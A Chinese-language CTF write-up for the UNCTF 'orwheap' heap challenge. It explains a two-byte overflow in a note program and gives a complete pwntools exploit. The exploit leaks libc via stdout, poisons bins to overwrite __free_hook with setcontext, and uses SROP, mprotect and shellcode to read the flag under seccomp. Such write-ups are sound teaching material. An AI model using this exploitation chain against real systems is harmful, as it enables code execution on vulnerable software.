UNCTF-orwheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ seccomp-tools dump ./pwn 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x07 0x00 0x40000000 if (A >= 0x40000000) goto 0011
0004: 0x15 0x06 0x00 0x0000003b if (A == execve) goto 0011
0005: 0x15 0x00 0x04 0x00000001 if (A != write) goto 0010
0006: 0x20 0x00 0x00 0x00000024 A = count >> 32 # write(fd, buf, count)
0007: 0x15 0x00 0x02 0x00000000 if (A != 0x0) goto 0010
0008: 0x20 0x00 0x00 0x00000020 A = count # write(fd, buf, count)
0009: 0x15 0x01 0x00 0x00000010 if (A == 0x10) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL

如题目,禁用了system,所以onegadget就用了不了,还是第一次在堆题目上遇到orw的

程序功能:

1
2
3
4
1.AddNote
2.DelNote
3.EditNote
4.Exit

在addnote功能中自己定义的read函数中存在两个字节的漏出,这是题目唯一的洞,其它功能正常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 溢出两个字节
unsigned __int64 __fastcall read_n(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-34h]
__int64 buf; // [rsp+20h] [rbp-30h]
__int64 v5; // [rsp+28h] [rbp-28h]
__int64 v6; // [rsp+30h] [rbp-20h]
__int64 v7; // [rsp+38h] [rbp-18h]
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
buf = 0LL;
v5 = 0LL;
v6 = 0LL;
v7 = 0LL;
for ( i = 0; i < (unsigned __int64)(a2 + 1); ++i )
{
if ( read(0, &buf, 1uLL) <= 0 )
exit(0);
if ( (_BYTE)buf == 10 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v8;
}

那么,先漏泄地址,没有show函数,所以只能攻击IO_file,就利用这两个字节的溢出来构造chunk

大概的思路就是先申请4个chunk(0x70,0x80,0x70,0x70),利用溢出的两字节修改chunk1为0xf0,这样chunk2就被chunk1包住,再free(1),free(2),malloc(0x80),就能将main_arena+88写到free状态的chunk2,再修改低两字节到_IO_2_1_stdout_上方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
add(0x68,'a')
add(0x78,'b')
add(0x68,(p64(0) + p64(0x21))*6)
add(0x68,(p64(0) + p64(0x21))*6)

delete(0)
add(0x68,'a'*0x60 + p64(0) + '\xf1',0)
delete(1)
delete(2)
add(0x78,'b')

delete(0)
add(0x68,'a'*0x60 + p64(0) + '\xa1')
delete(1)
add(0x98,'a')
edit(1,0x70*'a' + p64(0) + p64(0x71) + '\xdd\x25')
add(0x68,'b')
add(0x68,0x33*'\x00' + p64(0xfbad1800) + p64(0)*3)#0x10

接下来因为程序禁用了system,onegadget用不了,通过EX师傅学到了一种新姿势

接下来可以将free_hook填写成setcontex+53,再进行SROP调用mprotect获得一段可执行的段,再shellcode读出flag

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#coding:utf-8
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
local = 1
if local:
p = process('./pwn')
elf = ELF('./pwn')
libc = elf.libc
else:
p = remote("")
# elf = ELF('./')
#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202060)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
sda = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)
def add(size,message,flag=1):
sla("Choice: ",'1')
sla("size: ",str(size))
if flag:
sla("content: ",message)
else:
sda("content: ",message)

def delete(idx):
sla("Choice: ",'2')
sla("idx: ",str(idx))

def edit(idx,message):
sla("Choice: ",'3')
sla("idx: ",str(idx))
sda("content: ",message)
def pwn():
add(0x68,'a')
add(0x78,'b')
add(0x68,(p64(0) + p64(0x21))*6)
add(0x68,(p64(0) + p64(0x21))*6)

delete(0)
add(0x68,'a'*0x60 + p64(0) + '\xf1',0)
delete(1)
delete(2)
add(0x78,'b')

delete(0)
add(0x68,'a'*0x60 + p64(0) + '\xa1')
delete(1)
add(0x98,'a')
edit(1,0x70*'a' + p64(0) + p64(0x71) + '\xdd\x25')
add(0x68,'b')
add(0x68,0x33*'\x00' + p64(0xfbad1800) + p64(0)*3)#0x10
libc_base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-0x3c5600
free_hook = libc_base + libc.symbols['__free_hook']
setcontext = libc_base + libc.symbols['setcontext']
syscall = libc_base + 0xbc375
pop_rdi = libc_base + 0x21102
pop_rsi = libc_base + 0x202e8
pop_rdx = libc_base + 0x1b92
pop_rax = libc_base + 0x33544
jmp_rsp = libc_base + 0x2a71
log.success("libc_base --> %s",hex(libc_base))
log.success("free_hook --> %s",hex(free_hook))
log.success("syscall --> %s",hex(syscall))
# pause()
# unsorted bin attack
edit(1,0x70*'a' + p64(0) + p64(0x91))
delete(2)
edit(1,0x70*'a' + p64(0) + p64(0x91) + p64(free_hook-0x20)*2)
add(0x88,'b')

# fastbin attack
edit(1,0x70*'a' + p64(0) + p64(0x71))
delete(2)
edit(1,0x70*'a' + p64(0) + p64(0x71) + p64(free_hook-0x13))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook & 0xfffffffffffff000
frame.rdx = 0x2000
frame.rsp = free_hook & 0xfffffffffffff000
frame.rip = syscall
pay = str(frame)
# x = 0
# with open("pay","w+") as f:
# for i in pay:
# if x%8 == 0:
# f.write('\n')
# f.write(i)
# x += 1
# f.close()
add(0x68,pay[0x80:0x80+0x60])#2
add(0x68,'a'*3 + p64(setcontext+53))
edit(1,pay[:0x80])
# debug(0xcbd)
delete(1)
# call mprotect-jmp to shellcode

shellcode = '''
/*fp = open("flag")*/
push 0x67616c66
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,2
syscall
/*read(fp,buf,0x30)*/
mov rdi,rax
mov rsi,rsp
mov rdx,0x30
xor rax,rax
syscall
/*write(1,buf,0x30)*/
mov rdi,1
mov rax,1
syscall
'''

pay = p64(pop_rdi) + p64(free_hook & 0xfffffffffffff000)
pay += p64(pop_rsi) + p64(0x2000)
pay += p64(pop_rdx) + p64(7)
pay += p64(pop_rax) + p64(0xa)
pay += p64(syscall) + p64(jmp_rsp)
pay += asm(shellcode)
sl(pay)
# debug()

p.interactive()

while 1:
try:
pwn()
except Exception:
p.close()
if local:
p = process('./pwn')
else:
p = remote("")
# elf = ELF('./')
continue
0%